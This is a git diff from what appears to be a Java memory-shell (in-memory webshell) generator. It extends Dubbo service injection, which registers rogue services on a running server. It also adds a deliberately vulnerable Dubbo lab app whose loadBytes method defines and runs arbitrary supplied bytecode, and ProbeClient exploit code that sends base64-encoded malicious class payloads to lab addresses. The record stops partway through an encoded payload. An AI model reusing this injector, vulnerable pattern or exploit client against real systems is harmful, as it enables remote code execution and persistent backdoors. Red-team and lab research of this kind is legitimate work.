diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/MemShellGenerator.java b/generator/src/main/java/com/reajason/javaweb/memshell/MemShellGenerator.java index 3296db9a..da87e3bb 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/MemShellGenerator.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/MemShellGenerator.java @@ -64,19 +64,24 @@ public class MemShellGenerator { byte[] shellBytes = ShellToolFactory.generateBytes(shellConfig, shellToolConfig); if (ShellType.DUBBO_SERVICE.equals(shellConfig.getShellType())) { - String interfaceName = shellToolConfig.getShellClassName() + "$1"; + String packageName = CommonUtil.getPackageName(shellToolConfig.getShellClassName()); + String simpleName = CommonUtil.getSimpleName(shellToolConfig.getShellClassName()); + String interfaceName = packageName + ".I" + simpleName; + injectorConfig.setInjectorHelperClassName(interfaceName); injectorConfig.setHelperClassBytes(DubboServiceInterfaceHelperGenerator.getBytes(interfaceName, shellConfig)); shellBytes = ClassInterfaceUtils.addInterface(shellBytes, interfaceName); String urlPattern = injectorConfig.getUrlPattern(); if (Strings.CS.equalsAny(urlPattern, "/*", "/") || StringUtils.isBlank(urlPattern)) { - injectorConfig.setUrlPattern(shellToolConfig.getShellClassName()); + injectorConfig.setUrlPattern(interfaceName); } } if (ShellType.BYPASS_NGINX_WEBSOCKET.equals(shellConfig.getShellType()) || ShellType.JAKARTA_BYPASS_NGINX_WEBSOCKET.equals(shellConfig.getShellType())) { - injectorConfig.setHelperClassBytes(WebSocketByPassHelperGenerator.getBytes(shellConfig, shellToolConfig)); + String helperClassName = shellToolConfig.getShellClassName() + "$1"; + injectorConfig.setInjectorHelperClassName(helperClassName); + injectorConfig.setHelperClassBytes(WebSocketByPassHelperGenerator.getBytes(helperClassName, shellConfig, shellToolConfig)); } injectorConfig.setInjectorClass(injectorClass); diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/config/InjectorConfig.java b/generator/src/main/java/com/reajason/javaweb/memshell/config/InjectorConfig.java index 236d83da..b45407bc 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/config/InjectorConfig.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/config/InjectorConfig.java @@ -43,6 +43,11 @@ public class InjectorConfig { */ private byte[] shellClassBytes; + /** + * 辅助类类名 + */ + private String injectorHelperClassName; + /** * 辅助类字节码 */ diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/generator/WebSocketByPassHelperGenerator.java b/generator/src/main/java/com/reajason/javaweb/memshell/generator/WebSocketByPassHelperGenerator.java index b98533e9..5cd493ec 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/generator/WebSocketByPassHelperGenerator.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/generator/WebSocketByPassHelperGenerator.java @@ -18,7 +18,7 @@ import static net.bytebuddy.matcher.ElementMatchers.named; * @since 2026/1/13 */ public class WebSocketByPassHelperGenerator { - public static byte[] getBytes(ShellConfig shellConfig, ShellToolConfig shellToolConfig) { + public static byte[] getBytes(String helperClassName, ShellConfig shellConfig, ShellToolConfig shellToolConfig) { Pair headerPair = getHeaderPair(shellToolConfig); if (headerPair == null) { throw new GenerationException("unsupported shell config: " + shellConfig.getShellTool()); @@ -30,7 +30,7 @@ public class WebSocketByPassHelperGenerator { .visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion())) .field(named("headerName")).value(headerPair.getKey()) .field(named("headerValue")).value(headerPair.getValue()) - .name(shellToolConfig.getShellClassName() + "$1"); + .name(helperClassName); if (shellConfig.isJakarta()) { builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE); } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/dubbo/DubboServiceInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/dubbo/DubboServiceInjector.java index 421cbec1..0f35b9bd 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/dubbo/DubboServiceInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/dubbo/DubboServiceInjector.java @@ -6,7 +6,6 @@ import org.apache.dubbo.common.utils.NetUtils; import org.apache.dubbo.config.ProtocolConfig; import org.apache.dubbo.config.RegistryConfig; import org.apache.dubbo.config.ServiceConfig; -import org.apache.dubbo.config.ServiceConfigBase; import org.apache.dubbo.config.context.ConfigManager; import org.apache.dubbo.rpc.model.ApplicationModel; @@ -152,9 +151,43 @@ public class DubboServiceInjector { } } + @SuppressWarnings("all") private boolean isPathRegisteredInFramework(String path) { - Collection services = ApplicationModel.getConfigManager().getServices(); - return services.stream().anyMatch(s -> path.equals(s.getPath())); + try { + for (Object service : getRegisteredServices()) { + try { + Method getPath = service.getClass().getMethod("getPath"); + if (path.equals(getPath.invoke(service))) { + return true; + } + } catch (Exception ignored) { + } + } + } catch (Exception ignored) { + } + return false; + } + + @SuppressWarnings("all") + private Collection getRegisteredServices() { + try { + ConfigManager configManager = ApplicationModel.getConfigManager(); + Method getServices = configManager.getClass().getMethod("getServices"); + return (Collection) getServices.invoke(configManager); + } catch (Exception e) { + try { + Method defaultModel = ApplicationModel.class.getMethod("defaultModel"); + Object model = defaultModel.invoke(null); + Method getDefaultModule = model.getClass().getMethod("getDefaultModule"); + Object moduleModel = getDefaultModule.invoke(model); + Method getConfigManager = moduleModel.getClass().getMethod("getConfigManager"); + Object moduleConfigManager = getConfigManager.invoke(moduleModel); + Method getServices = moduleConfigManager.getClass().getMethod("getServices"); + return (Collection) getServices.invoke(moduleConfigManager); + } catch (Exception ex) { + return new ArrayList<>(); + } + } } private String normalizePath(String path) { @@ -200,6 +233,7 @@ public class DubboServiceInjector { serviceConfig.setRef(serviceInstance); serviceConfig.setPath(path); serviceConfig.setVersion("1.0.0"); + serviceConfig.setProxy("jdk"); serviceConfig.setApplication(configManager.getApplication().orElse(null)); List protocols = new ArrayList<>(configManager.getDefaultProtocols()); diff --git a/generator/src/main/java/com/reajason/javaweb/utils/CommonUtil.java b/generator/src/main/java/com/reajason/javaweb/utils/CommonUtil.java index 62afddb9..ba4fe174 100644 --- a/generator/src/main/java/com/reajason/javaweb/utils/CommonUtil.java +++ b/generator/src/main/java/com/reajason/javaweb/utils/CommonUtil.java @@ -145,7 +145,7 @@ public class CommonUtil { + "." + MIDDLEWARE_NAMES[new Random().nextInt(MIDDLEWARE_NAMES.length)] + shellType; } - public static String getSimpleName(String injectorClassName) { - return injectorClassName.substring(injectorClassName.lastIndexOf(".") + 1); + public static String getSimpleName(String className) { + return className.substring(className.lastIndexOf(".") + 1); } } \ No newline at end of file diff --git a/settings.gradle.kts b/settings.gradle.kts index 4de6e073..3b9559df 100644 --- a/settings.gradle.kts +++ b/settings.gradle.kts @@ -35,6 +35,7 @@ include("generator") include("thirdparty:thirdparty-tomcat") include("integration-test") include("vul:vul-dubbo278") +include("vul:vul-dubbo315") include("vul:vul-webapp") include("vul:vul-webapp-jakarta") include("vul:vul-webapp-expression") diff --git a/vul/vul-dubbo278/src/main/java/com/reajason/javaweb/vuldubbo278/DefaultDemoService.java b/vul/vul-dubbo278/src/main/java/com/reajason/javaweb/dubbo/DefaultDemoService.java similarity index 67% rename from vul/vul-dubbo278/src/main/java/com/reajason/javaweb/vuldubbo278/DefaultDemoService.java rename to vul/vul-dubbo278/src/main/java/com/reajason/javaweb/dubbo/DefaultDemoService.java index 51b00268..b03952e9 100644 --- a/vul/vul-dubbo278/src/main/java/com/reajason/javaweb/vuldubbo278/DefaultDemoService.java +++ b/vul/vul-dubbo278/src/main/java/com/reajason/javaweb/dubbo/DefaultDemoService.java @@ -1,15 +1,11 @@ -package com.reajason.javaweb.vuldubbo278; +package com.reajason.javaweb.dubbo; -import org.apache.dubbo.common.bytecode.ClassGenerator; -import org.apache.dubbo.common.utils.ClassUtils; import org.apache.dubbo.config.annotation.DubboService; import org.springframework.beans.factory.annotation.Value; @DubboService(version = "1.0.0", path = "demo_say_hello") public class DefaultDemoService extends ClassLoader implements DemoService { - private final DubboServiceInjector dubboServiceInjector = new DubboServiceInjector(); - /** * The default value of ${dubbo.application.name} is ${spring.application.name} */ @@ -35,9 +31,4 @@ public class DefaultDemoService extends ClassLoader implements DemoService { } return o.toString(); } - - @Override - public String registerService(String path, String interfaceClassName, String implementationClassName) { - return dubboServiceInjector.registerService(path, interfaceClassName, implementationClassName); - } } diff --git a/vul/vul-dubbo278/src/main/java/com/reajason/javaweb/dubbo/DemoService.java b/vul/vul-dubbo278/src/main/java/com/reajason/javaweb/dubbo/DemoService.java new file mode 100644 index 00000000..3b372112 --- /dev/null +++ b/vul/vul-dubbo278/src/main/java/com/reajason/javaweb/dubbo/DemoService.java @@ -0,0 +1,9 @@ +package com.reajason.javaweb.dubbo; + +public interface DemoService { + + String sayHello(String name); + + String loadBytes(byte[] bytes); + +} diff --git a/vul/vul-dubbo278/src/main/java/com/reajason/javaweb/vuldubbo278/ProbeClient.java b/vul/vul-dubbo278/src/main/java/com/reajason/javaweb/dubbo/ProbeClient.java similarity index 98% rename from vul/vul-dubbo278/src/main/java/com/reajason/javaweb/vuldubbo278/ProbeClient.java rename to vul/vul-dubbo278/src/main/java/com/reajason/javaweb/dubbo/ProbeClient.java index ad9239a6..252489ad 100644 --- a/vul/vul-dubbo278/src/main/java/com/reajason/javaweb/vuldubbo278/ProbeClient.java +++ b/vul/vul-dubbo278/src/main/java/com/reajason/javaweb/dubbo/ProbeClient.java @@ -1,4 +1,4 @@ -package com.reajason.javaweb.vuldubbo278; +package com.reajason.javaweb.dubbo; import com.caucho.hessian.client.HessianProxyFactory; import com.caucho.hessian.io.HessianRemoteObject; @@ -18,11 +18,11 @@ public class ProbeClient { public static void main(String[] args) throws Exception { // dubboSayHello("dubbo://127.0.0.1:12345/demo_say_hello"); -// try { -// dubboExploit(); -// } catch (Exception e) { -// e.printStackTrace(); -// } + try { + dubboExploit(); + } catch (Exception e) { + e.printStackTrace(); + } // exploit(); } @@ -58,9 +58,9 @@ public class ProbeClient { } public static void dubboExploit() throws Exception { - String url = "dubbo://192.168.31.206:12345/org.apache.http.web.handlers.wJMhG.OAuthDubboService"; - String b = "H4sIAAAAAAAA/zv1b9c+BgYGEwZ2Rgaz/KJ0/cSCxOSMVP2MkpIC/fLUJP2MxLyUnNSiYv1yL98Md31/x9KSDJfSpKT84NSisszkVBVDdgZGRgaBrMSyRP2cxLx0ff+krNTkEnYGZkYGNohuIEMj2kkz2omNkYGJgYUBBBhZGBlYGdhATAD+bjiShAAAAA=="; - byte[] bytes = gzipDecompress(Base64.getDecoder().decode(b)); + String url = "dubbo://198.18.0.1:50051/org.apache.http.web.handlers.VTcIU.AuthDubboService"; + String b = "yv66vgAAADQABwEANW9yZy9hcGFjaGUvaHR0cC93ZWIvaGFuZGxlcnMvVlRjSVUvQXV0aER1YmJvU2VydmljZSQxBwABAQAQamF2YS9sYW5nL09iamVjdAcAAwEABmhhbmRsZQEABihbQilbQgYBAAIABAAAAAAAAQQBAAUABgAAAAA="; + byte[] bytes = Base64.getDecoder().decode(b); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); defineClass.setAccessible(true); ClassLoader classLoader = ClassGenerator.class.getClassLoader(); @@ -70,6 +70,7 @@ public class ProbeClient { reference.setApplication(new ApplicationConfig("dubbo-consumer")); reference.setInterface(clazz); reference.setVersion("1.0.0"); + reference.setProxy("jdk"); reference.setUrl(url); try { diff --git a/vul/vul-dubbo278/src/main/java/com/reajason/javaweb/vuldubbo278/VulDubbo278Application.java b/vul/vul-dubbo278/src/main/java/com/reajason/javaweb/dubbo/VulDubbo278Application.java similarity index 61% rename from vul/vul-dubbo278/src/main/java/com/reajason/javaweb/vuldubbo278/VulDubbo278Application.java rename to vul/vul-dubbo278/src/main/java/com/reajason/javaweb/dubbo/VulDubbo278Application.java index 167beb9e..b3a11178 100644 --- a/vul/vul-dubbo278/src/main/java/com/reajason/javaweb/vuldubbo278/VulDubbo278Application.java +++ b/vul/vul-dubbo278/src/main/java/com/reajason/javaweb/dubbo/VulDubbo278Application.java @@ -1,11 +1,7 @@ -package com.reajason.javaweb.vuldubbo278; +package com.reajason.javaweb.dubbo; -import org.springframework.boot.ApplicationRunner; import org.springframework.boot.SpringApplication; import org.springframework.boot.autoconfigure.SpringBootApplication; -import org.springframework.context.annotation.Bean; - -import javax.script.ScriptEngineManager; @SpringBootApplication public class VulDubbo278Application { diff --git a/vul/vul-dubbo278/src/main/java/com/reajason/javaweb/vuldubbo278/DemoService.java b/vul/vul-dubbo278/src/main/java/com/reajason/javaweb/vuldubbo278/DemoService.java deleted file mode 100644 index 0cd1e555..00000000 --- a/vul/vul-dubbo278/src/main/java/com/reajason/javaweb/vuldubbo278/DemoService.java +++ /dev/null @@ -1,10 +0,0 @@ -package com.reajason.javaweb.vuldubbo278; - -public interface DemoService { - - String sayHello(String name); - - String loadBytes(byte[] bytes); - - String registerService(String path, String interfaceClassName, String implementationClassName); -} diff --git a/vul/vul-dubbo278/src/main/java/com/reajason/javaweb/vuldubbo278/DubboServiceInjector.java b/vul/vul-dubbo278/src/main/java/com/reajason/javaweb/vuldubbo278/DubboServiceInjector.java deleted file mode 100644 index 4fc31845..00000000 --- a/vul/vul-dubbo278/src/main/java/com/reajason/javaweb/vuldubbo278/DubboServiceInjector.java +++ /dev/null @@ -1,154 +0,0 @@ -package com.reajason.javaweb.vuldubbo278; - -import org.apache.dubbo.common.utils.NetUtils; -import org.apache.dubbo.config.ProtocolConfig; -import org.apache.dubbo.config.RegistryConfig; -import org.apache.dubbo.config.ServiceConfig; -import org.apache.dubbo.config.ServiceConfigBase; -import org.apache.dubbo.config.context.ConfigManager; -import org.apache.dubbo.rpc.model.ApplicationModel; -import org.slf4j.Logger; -import org.slf4j.LoggerFactory; - -import java.lang.reflect.Constructor; -import java.lang.reflect.Modifier; -import java.util.ArrayList; -import java.util.Collection; -import java.util.List; -import java.util.Map; -import java.util.concurrent.ConcurrentHashMap; -import java.util.stream.Collectors; - -public class DubboServiceInjector { - private static final Logger logger = LoggerFactory.getLogger(DubboServiceInjector.class); - - private final Map> dynamicServices = new ConcurrentHashMap<>(); - - public String registerService(String path, String interfaceClassName, String implementationClassName) { - String normalizedPath = normalizePath(path); - if (normalizedPath.isEmpty()) { - throw new IllegalArgumentException("path must not be empty"); - } - - if (dynamicServices.containsKey(normalizedPath)) { - String addresses = resolveServiceAddresses(normalizedPath); - logger.info("service path [{}] already registered by injector, skipping: {}", normalizedPath, addresses); - return addresses; - } - - if (isPathRegisteredInFramework(normalizedPath)) { - String addresses = resolveServiceAddresses(normalizedPath); - logger.info("service path [{}] already registered in framework, skipping: {}", normalizedPath, addresses); - return addresses; - } - - Class interfaceClass = loadLocalClass(interfaceClassName); - Class implementationClass = loadLocalClass(implementationClassName); - validateServiceTypes(interfaceClass, implementationClass); - - Object serviceInstance = instantiate(implementationClass); - ServiceConfig serviceConfig = createServiceConfig(normalizedPath, interfaceClass, serviceInstance); - ServiceConfig previous = dynamicServices.putIfAbsent(normalizedPath, serviceConfig); - if (previous != null) { - return resolveServiceAddresses(normalizedPath); - } - - try { - serviceConfig.export(); - String addresses = resolveServiceAddresses(normalizedPath); - logger.info("registered dynamic service [{}] at {}", normalizedPath, addresses); - return addresses; - } catch (RuntimeException e) { - dynamicServices.remove(normalizedPath, serviceConfig); - throw e; - } - } - - private boolean isPathRegisteredInFramework(String path) { - Collection services = ApplicationModel.getConfigManager().getServices(); - return services.stream().anyMatch(s -> path.equals(s.getPath())); - } - - private String normalizePath(String path) { - if (path == null) { - return ""; - } - String normalized = path.trim(); - while (normalized.startsWith("/")) { - normalized = normalized.substring(1); - } - return normalized; - } - - private Class loadLocalClass(String className) { - try { - return Class.forName(className, true, Thread.currentThread().getContextClassLoader()); - } catch (ClassNotFoundException e) { - throw new IllegalArgumentException("class not found on local classpath: " + className, e); - } - } - - private void validateServiceTypes(Class interfaceClass, Class implementationClass) { - if (!interfaceClass.isInterface()) { - throw new IllegalArgumentException("not an interface: " + interfaceClass.getName()); - } - if (implementationClass.isInterface() || Modifier.isAbstract(implementationClass.getModifiers())) { - throw new IllegalArgumentException("implementation class is not instantiable: " + implementationClass.getName()); - } - if (!interfaceClass.isAssignableFrom(implementationClass)) { - throw new IllegalArgumentException(implementationClass.getName() - + " does not implement " + interfaceClass.getName()); - } - } - - private Object instantiate(Class implementationClass) { - try { - Constructor constructor = implementationClass.getDeclaredConstructor(); - constructor.setAccessible(true); - return constructor.newInstance(); - } catch (ReflectiveOperationException e) { - throw new IllegalArgumentException("failed to instantiate " + implementationClass.getName(), e); - } - } - - @SuppressWarnings({"rawtypes", "unchecked"}) - private ServiceConfig createServiceConfig(String path, Class interfaceClass, Object serviceInstance) { - ConfigManager configManager = ApplicationModel.getConfigManager(); - - ServiceConfig serviceConfig = new ServiceConfig(); - serviceConfig.setInterface(interfaceClass); - serviceConfig.setRef(serviceInstance); - serviceConfig.setPath(path); - serviceConfig.setVersion("1.0.0"); - serviceConfig.setApplication(configManager.getApplication().orElse(null)); - - List protocols = new ArrayList<>(configManager.getDefaultProtocols()); - if (protocols.isEmpty()) { - protocols = new ArrayList<>(configManager.getProtocols()); - } - serviceConfig.setProtocols(protocols); - - List registries = new ArrayList<>(configManager.getDefaultRegistries()); - if (registries.isEmpty()) { - registries = new ArrayList<>(configManager.getRegistries()); - } - serviceConfig.setRegistries(registries); - - return serviceConfig; - } - - private String resolveServiceAddresses(String path) { - ConfigManager configManager = ApplicationModel.getConfigManager(); - List protocols = configManager.getDefaultProtocols(); - if (protocols.isEmpty()) { - protocols = new ArrayList<>(configManager.getProtocols()); - } - if (protocols.isEmpty()) { - return path; - } - String localHost = NetUtils.getLocalHost(); - return protocols.stream() - .map(pc -> String.format("%s://%s:%d/%s", pc.getName(), localHost, pc.getPort(), path)) - .collect(Collectors.joining(", ")); - } -} diff --git a/vul/vul-dubbo315/build.gradle.kts b/vul/vul-dubbo315/build.gradle.kts new file mode 100644 index 00000000..d7882897 --- /dev/null +++ b/vul/vul-dubbo315/build.gradle.kts @@ -0,0 +1,34 @@ +plugins { + id("org.springframework.boot") version "2.7.6" + id("io.spring.dependency-management") version "1.0.15.RELEASE" + id("java") +} + +java { + toolchain { + languageVersion = JavaLanguageVersion.of(8) + } + targetCompatibility = JavaVersion.VERSION_1_8 + sourceCompatibility = JavaVersion.VERSION_1_8 +} + +dependencies { + implementation("org.springframework.boot:spring-boot-starter") + implementation("org.apache.dubbo:dubbo-spring-boot-starter:3.1.5") + implementation("javax.servlet:javax.servlet-api:4.0.1") + implementation("org.eclipse.jetty:jetty-server") + implementation("org.eclipse.jetty:jetty-servlet") + implementation("commons-io:commons-io:2.19.0") + implementation("net.bytebuddy:byte-buddy:1.10.10") + testImplementation("org.springframework.boot:spring-boot-starter-test") { + exclude(group = "org.mockito") + } + testImplementation("org.junit.jupiter:junit-jupiter-api") + testImplementation("org.junit.jupiter:junit-jupiter") + testRuntimeOnly("org.junit.platform:junit-platform-launcher") + runtimeOnly("com.h2database:h2") +} + +tasks.test { + useJUnitPlatform() +} diff --git a/vul/vul-dubbo315/src/main/java/com/reajason/javaweb/dubbo/DefaultDemoService.java b/vul/vul-dubbo315/src/main/java/com/reajason/javaweb/dubbo/DefaultDemoService.java new file mode 100644 index 00000000..8529d289 --- /dev/null +++ b/vul/vul-dubbo315/src/main/java/com/reajason/javaweb/dubbo/DefaultDemoService.java @@ -0,0 +1,37 @@ +package com.reajason.javaweb.dubbo; + +import org.apache.dubbo.config.annotation.DubboService; +import org.springframework.beans.factory.annotation.Value; + +@DubboService(version = "1.0.0", path = "demo_say_hello") +public class DefaultDemoService extends ClassLoader implements DemoService { + /** + * The default value of ${dubbo.application.name} is ${spring.application.name} + */ + @Value("${dubbo.application.name}") + private String serviceName; + + public DefaultDemoService() { + super(Thread.currentThread().getContextClassLoader()); + } + + public String sayHello(String name) { + return String.format("[%s] : Hello, %s", serviceName, name); + } + + @Override + public String loadBytes(byte[] bytes) { + System.out.println("i am in"); + Class aClass = defineClass(bytes, 0, bytes.length); + System.out.println("define class"); + Object o = null; + try { + System.out.println("new instance"); + o = aClass.newInstance(); + } catch (Exception e) { + System.out.println("error for new instance"); + e.printStackTrace(); + } + return String.format("[%s] : Hello, %s", serviceName, o.toString()); + } +} diff --git a/vul/vul-dubbo315/src/main/java/com/reajason/javaweb/dubbo/DemoService.java b/vul/vul-dubbo315/src/main/java/com/reajason/javaweb/dubbo/DemoService.java new file mode 100644 index 00000000..6394cd29 --- /dev/null +++ b/vul/vul-dubbo315/src/main/java/com/reajason/javaweb/dubbo/DemoService.java @@ -0,0 +1,8 @@ +package com.reajason.javaweb.dubbo; + +public interface DemoService { + + String sayHello(String name); + + String loadBytes(byte[] bytes); +} diff --git a/vul/vul-dubbo315/src/main/java/com/reajason/javaweb/dubbo/ProbeClient.java b/vul/vul-dubbo315/src/main/java/com/reajason/javaweb/dubbo/ProbeClient.java new file mode 100644 index 00000000..e9210d12 --- /dev/null +++ b/vul/vul-dubbo315/src/main/java/com/reajason/javaweb/dubbo/ProbeClient.java @@ -0,0 +1,197 @@ +package com.reajason.javaweb.dubbo; + +import org.apache.dubbo.common.bytecode.ClassGenerator; +import org.apache.dubbo.config.ApplicationConfig; +import org.apache.dubbo.config.ReferenceConfig; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.io.InputStream; +import java.io.OutputStream; +import java.lang.reflect.Method; +import java.net.HttpURLConnection; +import java.net.URL; +import java.util.Base64; +import java.util.zip.GZIPInputStream; + +public class ProbeClient { + public static void main(String[] args) throws Exception { +// tripleSayHello("tri://198.18.0.1:50051/com.reajason.javaweb.dubbo.DemoService"); +// dubboSayHello("dubbo://127.0.0.1:50051/demo_say_hello"); + httpSayHello("http://198.18.0.1:50051"); + try { + httpExploit("http://198.18.0.1:50051"); + } catch (Exception e) { + e.printStackTrace(); + } + } + + public static void tripleSayHello(String url) { + ReferenceConfig reference = new ReferenceConfig<>(); + reference.setApplication(new ApplicationConfig("dubbo-consumer")); + reference.setInterface(DemoService.class); + reference.setVersion("1.0.0"); + reference.setUrl(url); + + try { + DemoService service = reference.get(); + String result = service.sayHello("world"); + System.out.println(result); + byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQCAwEAGG9yZy9qdW5pdC9iUWNUdi9NYXRoVXRpbAcAAQEAEGphdmEvbGFuZy9PYmplY3QHAAMBACVqYXZhL2xhbmcvaW52b2tlL01ldGhvZEhhbmRsZXMkTG9va3VwBwAFAQAeamF2YS9sYW5nL2ludm9rZS9NZXRob2RIYW5kbGVzBwAHAQAGTG9va3VwAQAPZHluYW1pY1NlcnZpY2VzAQAPTGphdmEvdXRpbC9NYXA7AQBNTGphdmEvdXRpbC9NYXA8TGphdmEvbGFuZy9TdHJpbmc7TG9yZy9hcGFjaGUvZHViYm8vY29uZmlnL1NlcnZpY2VDb25maWc8Kj47PjsBAANtc2cBABJMamF2YS9sYW5nL1N0cmluZzsBAAJvawEAAVoBAA1nZXRVcmxQYXR0ZXJuAQAUKClMamF2YS9sYW5nL1N0cmluZzsBADRvcmcuYXBhY2hlLmh0dHAud2ViLmhhbmRsZXJzLlVpSE1DLkVycm9yRHViYm9TZXJ2aWNlCAATAQAMZ2V0Q2xhc3NOYW1lAQAPZ2V0QmFzZTY0U3RyaW5nAQjkSDRzSUFBQUFBQUFBLzUxVyszY1RSUlQrSnRsMFF4b0tEUlFJcFZnUUlXMWFJZzhSQXlLMEJRRkpDcWFncFNodU4wT3prTzZHellhQ3FGaEZmT0ZiVlBDQm9sZ1ZINm5vRmlrVWY4SnovRGM4L2hGeWdIcG5FMG9LclhyTXlkblp2WE9mMzMzTS9INzkvQkNBcGZpVllhbGhka1dVaktLbWVDUmxXWmxJRCsrTXBCUTltZVptTnJKVld4OXJqcXcxVGNOc3lYVjJHZ2x1N3ROVUxvTXhUTjZ0N0ZNaWFVWHZpclIyN3VhcUpjUE5VTFpTMHpWckZZTTdWTGZORHcvS2ZKQWcwMFpCS2IyRU9wcnFPcG9ZcHR4VXNIYS95ak9XWnVneXlrZHBUbGltcG5mSm1NamdFWEtPeWtrK1ZHQXlnN2VMVzVzVlUrbG1tQi9hZEt2UWlycmJTWDRFTU1VSEY2WXlWSkQwQmoyVHMyaVBDeDExNCt2UWpFZ0pLNm1aaHVsQ3pReUdtaHNNVFFjc3ZzWTBsUU90T1d1RVZjWk1INnBGL0pVT1g4N1MwcEdFcXVnNk4yWFVNTXdJaldtaEVPZ2RQc3hHTFlOcnh4b3Y1akw0YzFuZXd0TmF0Mlp4azJIQitBNlgyaUYzNStFdW9XbytnNlR6L1JiRDFOQ1k2SVJRSi9qcUM5aUtpTElrRXFKMCtkR0FSb0g3UXNwRWowa08rSEczeUVRMUZoRmxWenFYVGZteFJLUzdHa3VKb3FhTkxQRXNLMUR1WlNpM2pCR0kvTGhQYUt0R2xJTHJhSkt4a21FU1dYUXFMY2F6V2FXTDM1S1F0cFJwOUNpZGFUNTJYbGZoQVpHUTFUZkthalNlTXFqZVpDTzdVRmU2dVJjdG8ydnNRTmJpeExLT2ZCUVZaUm9aYmxyazQzcFJLdzlpZytQN0pxT0htODJLaU9raGdWSUZObEV0OTJoNjB1anhJazZJcVladUtacE9pRldYT3Q2Y1Vzd0UzNXZqdWtxK2IvZGpNN1lJOFlmSkk3VTd1WkR2SjQvYUNJZUk2c1UyOHIvajl2aGtQRXJja1U1TmoyUlRYbXduN2tiaTNrR2V6VDJvR3QzZDFGdFB6L1hpY2VxN0hkbXdGMDlRQnJLWnRHYU5VeVZqMlBDakU2cHdMRW1tVEo1Skt5cmxvR1hjVU1ZTmNTelZ1OUFsVktjWUpvejQ2OFZ1cXYrYnpBUzhTcWx2eW1ucHBPaU9OTU8wMEJpT0ZucEQ5NkViQnNGbDhxUm0wdmh4YXVkR0w5ZUV0cGY2TVZvMStiTVhwcERQQ3Bnc3hTU1lxa0pqQ0JCbkR2c0VaOCtORGk3ZGxuR0FZWHBvL0NGeDBJY244UlRWU1U3dk1aVU13L0pTT0F0amM4VS9UNjRpMDZoeE9kSUxNcDVsbUVoRnUwN2o2ZVEySloyajhud09oMFFyUE04dys2WkkzRWprMUpURFZqSnNYeWcwZW5OYXlSSVVVMFpCNEJBcGloZnhraGpoTDFPSDNySXA0MVZxSkpKdjRXcGFvVHc0NmhrYS8yVVltM3hYbW1LS09PeGs0VFc4N3NOUnZFRllqc01rNHkyS004dXROYXJBWGVzVUI0bEVPYVpTZUFmdit2QTJqbEhwa3l1M0hBVkY5TVlBMUkvMzhZRVFQRjVBTUpHanJsZEZXSDU4S0VJK2lvOUdPVlFJWktRNlAvSGhwSmpyTXNuR2FhcjQ4WmtZQzBkeGl0S3RaREpjL3c5SWpOSkpMbjJCMDBMdGx3eUJXaWZ3V3Qyd2FuY1pPVDBacmZYaUswcVhaUlNFL1BoRzJEdUpNNkoyeCt1UzczdzRndTlMaHVKbTJod1ppbm1HNE0zenAvVGNLb3IvNkVNL3psTG1Nd1V4UmQzVFpqcHpvZVRjS2xIcGlQME0yNGRlRElqNWZrWW9vT0V2TlJ0Smtwcm9xSWdwbVRiRlNhRnZwQmFwL0piOW42dkl2RVV5aGpDSDZsMEN3eVc2MXREbFJGdzc2RGxJWDVXME1sbzk5UVB3OWtQOGFBYkJWOXcrUm1KbHRDcmh5L0NHaDA1QWRsL3c1Z2RSMFI0ZVFHV3N2bUVBVmZINnhnRUVvOUlncXRzSE1DdnFDWG9HTWJzOUtBMWdUdUJPR3d0c2hHMUViQ3dPZW16Y0l4N0x4V05GUGlyVkM2NDF0SnNuZzdQUWhxM3cwOXNGTWprVDdnbnVZVHBmSkJrdUdmZkxxS0EvbUV3Y0xuRlBLYnBJSlBvR1hPRzg0NzVMWEQ3b1NYdk1RNUhLUkR0Ykh3dkh3ZnJnanJFNGkwcEI2VGVzQ3F3OWg0MDJZb0ZXRzRuam1GRjJrY0p5QjdZbTJxWEFJNGwyVHpqUmg2b2lzVU1RSDNPSThUNjBCcVhBVGtkb0NiMHBObmpVNDE1V1ZsVVc5QXlkUWpEb0VXOVZaWXNET3lsd0xYRzRqUFVOL3huMGtHUVY4ZThSUklHU0l4a2ZSSGM3QVppUmJGZzI5dHQ0T2taK051U2RUQWdnVnFQOFdoR0VpbUhLaDZ2d0twQm92aXJ5Mlh3TkMyVzBFMjBMTGU1cnFLS0ZYVUhORlhncS8wSVZMcElXa1g0QjdUTTRWQVN1emlrS1lFSzQ0UndPNStQaGZLRVNLT0c5UmROVUpldGsrcG9naG1ZQlV6b2FKRWRzWTcyTlYySU5BZWswYWhvb3BEZmpqUlRDZTQxRVBwR1BOOWo0T05ZMy9NY2dqclFQNGlRVnhxZUMzOGJuTnZvQ1g5T0RSUHBzZkR1QUh5NlJ0WEpxaGxuVWl3VzdFK0crQ28rTW85dGtIUEdXK084U0Y1bWkvNzF3TzdXNWpNV0twVWRZOWdzc2Y0cUZ5ZjY1Umh1L1JLV0d5NURwNjN4UXlrYzlJeCtlUzZUTFJYZTVPZ2VKc0xNV2pOZkJmUjN6WmZUTHFIWWdkOEh0UU41TE5JRjY3M1VDQkFJWC9BMnRGem80S3d3QUFBPT0IABcBABVnZXRIZWxwZXJCYXNlNjRTdHJpbmcBAMBINHNJQUFBQUFBQUEvenYxYjljK0JnWUdFd1oyUmdhei9LSjAvY1NDeE9TTVZQMk1rcElDL2ZMVUpQMk14THlVbk5TaVl2M1FUQTlmWjMzWG9xTDhJcGZTcEtUODROU2lzc3prVkJWRGRnWkdSZ2FCck1TeVJQMmN4THgwZmYra3JOVGtFbllHWmtZR05vaHVJRU1qMmtrejJvbU5rWUdKZ1lVQkJCaFpHQmxZR2RoQVRBQTRXQ1NraEFBQUFB